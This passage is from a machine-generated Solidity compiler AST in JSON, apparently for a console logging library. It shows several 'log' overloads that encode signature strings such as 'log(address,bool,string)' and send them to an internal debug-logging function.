view"}},"id":17625,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16880:80:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17626,"nodeType":"ExpressionStatement","src":"16880:80:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"16813:3:14","parameters":{"id":17615,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17610,"mutability":"mutable","name":"p0","nameLocation":"16825:2:14","nodeType":"VariableDeclaration","scope":17628,"src":"16817:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17609,"name":"address","nodeType":"ElementaryTypeName","src":"16817:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17612,"mutability":"mutable","name":"p1","nameLocation":"16843:2:14","nodeType":"VariableDeclaration","scope":17628,"src":"16829:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17611,"name":"string","nodeType":"ElementaryTypeName","src":"16829:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17614,"mutability":"mutable","name":"p2","nameLocation":"16852:2:14","nodeType":"VariableDeclaration","scope":17628,"src":"16847:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17613,"name":"uint","nodeType":"ElementaryTypeName","src":"16847:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"16816:39:14"},"returnParameters":{"id":17616,"nodeType":"ParameterList","parameters":[],"src":"16870:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17648,"nodeType":"FunctionDefinition","src":"16973:174:14","nodes":[],"body":{"id":17647,"nodeType":"Block","src":"17048:99:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c737472696e6729","id":17640,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"17098:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_fb77226597c11cd0c52945168d7176a06b9af41edea6a51823db111f35573158","typeString":"literal_string \"log(address,string,string)\""},"value":"log(address,string,string)"},{"id":17641,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17630,"src":"17128:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17642,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17632,"src":"17132:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17643,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17634,"src":"17136:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_fb77226597c11cd0c52945168d7176a06b9af41edea6a51823db111f35573158","typeString":"literal_string \"log(address,string,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":17638,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"17074:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17639,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"17078:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"17074:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17644,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17074:65:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17637,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"17058:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17645,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17058:82:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17646,"nodeType":"ExpressionStatement","src":"17058:82:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"16982:3:14","parameters":{"id":17635,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17630,"mutability":"mutable","name":"p0","nameLocation":"16994:2:14","nodeType":"VariableDeclaration","scope":17648,"src":"16986:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17629,"name":"address","nodeType":"ElementaryTypeName","src":"16986:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17632,"mutability":"mutable","name":"p1","nameLocation":"17012:2:14","nodeType":"VariableDeclaration","scope":17648,"src":"16998:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17631,"name":"string","nodeType":"ElementaryTypeName","src":"16998:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17634,"mutability":"mutable","name":"p2","nameLocation":"17030:2:14","nodeType":"VariableDeclaration","scope":17648,"src":"17016:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17633,"name":"string","nodeType":"ElementaryTypeName","src":"17016:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"16985:48:14"},"returnParameters":{"id":17636,"nodeType":"ParameterList","parameters":[],"src":"17048:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17668,"nodeType":"FunctionDefinition","src":"17153:163:14","nodes":[],"body":{"id":17667,"nodeType":"Block","src":"17219:97:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c626f6f6c29","id":17660,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"17269:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_cf020fb14f49566c5748de1f455c699a10a4ed1d7cf32f9adb28d22878df1b96","typeString":"literal_string \"log(address,string,bool)\""},"value":"log(address,string,bool)"},{"id":17661,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17650,"src":"17297:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17662,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17652,"src":"17301:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17663,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17654,"src":"17305:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_cf020fb14f49566c5748de1f455c699a10a4ed1d7cf32f9adb28d22878df1b96","typeString":"literal_string \"log(address,string,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":17658,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"17245:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17659,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"17249:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"17245:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17664,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17245:63:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17657,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"17229:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17665,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17229:80:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17666,"nodeType":"ExpressionStatement","src":"17229:80:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"17162:3:14","parameters":{"id":17655,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17650,"mutability":"mutable","name":"p0","nameLocation":"17174:2:14","nodeType":"VariableDeclaration","scope":17668,"src":"17166:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17649,"name":"address","nodeType":"ElementaryTypeName","src":"17166:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17652,"mutability":"mutable","name":"p1","nameLocation":"17192:2:14","nodeType":"VariableDeclaration","scope":17668,"src":"17178:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17651,"name":"string","nodeType":"ElementaryTypeName","src":"17178:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17654,"mutability":"mutable","name":"p2","nameLocation":"17201:2:14","nodeType":"VariableDeclaration","scope":17668,"src":"17196:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17653,"name":"bool","nodeType":"ElementaryTypeName","src":"17196:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"17165:39:14"},"returnParameters":{"id":17656,"nodeType":"ParameterList","parameters":[],"src":"17219:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17688,"nodeType":"FunctionDefinition","src":"17322:169:14","nodes":[],"body":{"id":17687,"nodeType":"Block","src":"17391:100:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c6164647265737329","id":17680,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"17441:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f08744e82875525f1ef885a48453f58e96cac98a5d32bd6d8c38e4977aede231","typeString":"literal_string \"log(address,string,address)\""},"value":"log(address,string,address)"},{"id":17681,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17670,"src":"17472:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17682,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17672,"src":"17476:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17683,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17674,"src":"17480:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f08744e82875525f1ef885a48453f58e96cac98a5d32bd6d8c38e4977aede231","typeString":"literal_string \"log(address,string,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":17678,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"17417:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17679,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"17421:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"17417:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17684,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17417:66:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17677,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"17401:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17685,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17401:83:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17686,"nodeType":"ExpressionStatement","src":"17401:83:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"17331:3:14","parameters":{"id":17675,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17670,"mutability":"mutable","name":"p0","nameLocation":"17343:2:14","nodeType":"VariableDeclaration","scope":17688,"src":"17335:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17669,"name":"address","nodeType":"ElementaryTypeName","src":"17335:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17672,"mutability":"mutable","name":"p1","nameLocation":"17361:2:14","nodeType":"VariableDeclaration","scope":17688,"src":"17347:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17671,"name":"string","nodeType":"ElementaryTypeName","src":"17347:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17674,"mutability":"mutable","name":"p2","nameLocation":"17373:2:14","nodeType":"VariableDeclaration","scope":17688,"src":"17365:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17673,"name":"address","nodeType":"ElementaryTypeName","src":"17365:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"17334:42:14"},"returnParameters":{"id":17676,"nodeType":"ParameterList","parameters":[],"src":"17391:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17708,"nodeType":"FunctionDefinition","src":"17497:152:14","nodes":[],"body":{"id":17707,"nodeType":"Block","src":"17554:95:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c75696e7429","id":17700,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"17604:24:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_2c468d157d9cb3bd4f3bc977d201b067de313f8e774b0377d5c5b2b5c9426095","typeString":"literal_string \"log(address,bool,uint)\""},"value":"log(address,bool,uint)"},{"id":17701,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17690,"src":"17630:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17702,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17692,"src":"17634:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17703,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17694,"src":"17638:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2c468d157d9cb3bd4f3bc977d201b067de313f8e774b0377d5c5b2b5c9426095","typeString":"literal_string \"log(address,bool,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":17698,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"17580:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17699,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"17584:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"17580:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17704,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17580:61:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17697,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"17564:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17705,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17564:78:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17706,"nodeType":"ExpressionStatement","src":"17564:78:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"17506:3:14","parameters":{"id":17695,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17690,"mutability":"mutable","name":"p0","nameLocation":"17518:2:14","nodeType":"VariableDeclaration","scope":17708,"src":"17510:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17689,"name":"address","nodeType":"ElementaryTypeName","src":"17510:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17692,"mutability":"mutable","name":"p1","nameLocation":"17527:2:14","nodeType":"VariableDeclaration","scope":17708,"src":"17522:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17691,"name":"bool","nodeType":"ElementaryTypeName","src":"17522:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17694,"mutability":"mutable","name":"p2","nameLocation":"17536:2:14","nodeType":"VariableDeclaration","scope":17708,"src":"17531:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17693,"name":"uint","nodeType":"ElementaryTypeName","src":"17531:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"17509:30:14"},"returnParameters":{"id":17696,"nodeType":"ParameterList","parameters":[],"src":"17554:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17728,"nodeType":"FunctionDefinition","src":"17655:163:14","nodes":[],"body":{"id":17727,"nodeType":"Block","src":"17721:97:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c737472696e6729","id":17720,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"17771:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_212255cc5ff4a2d867f69451c60f51c24e41784276f4ceffe8ec3af322690750","typeString":"literal_string \"log(address,bool,string)\""},"value":"log(address,bool,string)"},{"id":17721,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17710,"src":"17799:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17722,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17712,"src":"17803:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17723,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17714,"src":"17807:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_212255cc5ff4a2d867f69451c60f51c24e41784276f4ceffe8ec3af322690750","typeString":"literal_string \"log(address,bool,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":17718,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"17747:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17719,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"17751:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"17747:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17724,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17747:63:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17717,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"17731:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17725,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17731:80:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17726,"nodeType":"ExpressionStatement","src":"17731:80:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"17664:3:14","parameters":{"id":17715,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17710,"mutability":"mutable","name":"p0","nameLocation":"17676:2:14","nodeType":"VariableDeclaration","scope":17728,"src":"17668:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17709,"name":"address","nodeType":"ElementaryTypeName","src":"17668:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17712,"mutability":"mutable","name":"p1","nameLocation":"17685:2:14","nodeType":"VariableDeclaration","scope":17728,"src":"17680:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17711,"name":"bool","nodeType":"ElementaryTypeName","src":"17680:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17714,"mutability":"mutable","name":"p2","nameLocation":"17703:2:14","nodeType":"VariableDeclaration","scope":17728,"src":"17689:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17713,"name":"string","nodeType":"ElementaryTypeName","src":"17689:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"17667:39:14"},"returnParameters":{"id":17716,"nodeType":"ParameterList","parameters":[],"src":"17721:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17748,"nodeType":"FunctionDefinition","src":"17824:152:14","nodes":[],"body":{"id":17747,"nodeType":"Block","src":"17881:95:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c626f6f6c29","id":17740,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"17931:24:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_eb830c92a079b46f3abcb83e519f578cffe7387941b6885067265feec096d279","typeString":"literal_string \"log(address,bool,bool)\""},"value":"log(address,bool,bool)"},{"id":17741,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17730,"src":"17957:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17742,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17732,"src":"17961:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17743,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17734,"src":"17965:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_eb830c92a079b46f3abcb83e519f578cffe7387941b6885067265feec096d279","typeString":"literal_string \"log(address,bool,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":17738,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"17907:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17739,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"17911:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"17907:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17744,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17907:61:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17737,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"17891:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17745,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17891:78:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17746,"nodeType":"ExpressionStatement","src":"17891:78:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"17833:3:14","parameters":{"id":17735,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17730,"mutability":"mutable","name":"p0","nameLocation":"17845:2:14","nodeType":"VariableDeclaration","scope":17748,"src":"17837:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17729,"name":"address","nodeType":"ElementaryTypeName","src":"17837:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17732,"mutability":"mutable","name":"p1","nameLocation":"17854:2:14","nodeType":"VariableDeclaration","scope":17748,"src":"17849:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17731,"name":"bool","nodeType":"ElementaryTypeName","src":"17849:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17734,"mutability":"mutable","name":"p2","nameLocation":"17863:2:14","nodeType":"VariableDeclaration","scope":17748,"src":"17858:7:14","stateVaria